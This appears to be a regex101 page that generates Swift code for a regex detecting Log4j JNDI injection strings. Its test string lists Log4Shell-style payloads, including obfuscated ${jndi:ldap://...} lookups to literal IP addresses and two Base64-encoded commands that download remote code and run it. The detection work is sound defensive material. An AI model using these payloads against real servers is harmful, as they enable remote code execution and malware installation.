Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gm

Test String

Code Generator

Language

Generated Code

import Foundation let pattern = #"([\$]|[\%24]){1,3}(?<suspicious_log4j>([\{]|[\%7B]{1,3}).*[jJnNdDiI]{1,4}.+[lLdDaApPsS]{1,5}.+([\/|\%2F]).+)"# let regex = try! NSRegularExpression(pattern: pattern, options: .anchorsMatchLines) let testString = #""" ${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg4ukyyygg3tw.example.com/a} $%7Bjndi:ldap://161.104.129.3:1389/Exploit%7D ${jndi:ldaps://probe001.log4j.example.net:9200/b} ${jndi:ldap://161.104.129.3:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4yMTUuNDguMTA2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4yMTUuNDguMTA2OjQ0Myl8YmFzaA==} $%7Bjndi:ldap://$%7BhostName%7D_solr.c78v36tibg0r9p1hgukgc8e9jaaydcyag.ns1.exploitexample.com%7D %24%7B%24%7B%3A%3Aj%7Dndi%3Armi%3A%2F%2F161.104.129.3%3A1389%2FBinary%7D ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://161.104.129.3:1389/Binary} ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//161.104.129.3:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMi41OC4xNDkuMjA2L3N0YXI7IGN1cmwgLU8gaHR0cDovLzIuNTguMTQ5LjIwNi9yc3RhcjsgY2htb2QgNzc3IHN0YXI7IC4vc3RhciBleHBsb2l0} """# let stringRange = NSRange(location: 0, length: testString.utf16.count) let matches = regex.matches(in: testString, range: stringRange) var result: [[String]] = [] for match in matches { var groups: [String] = [] for rangeIndex in 1 ..< match.numberOfRanges { let nsRange = match.range(at: rangeIndex) guard !NSEqualRanges(nsRange, NSMakeRange(NSNotFound, 0)) else { continue } let string = (testString as NSString).substring(with: nsRange) groups.append(string) } if !groups.isEmpty { result.append(groups) } } print(result)

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Swift 5.2, please visit: https://developer.apple.com/documentation/foundation/nsregularexpression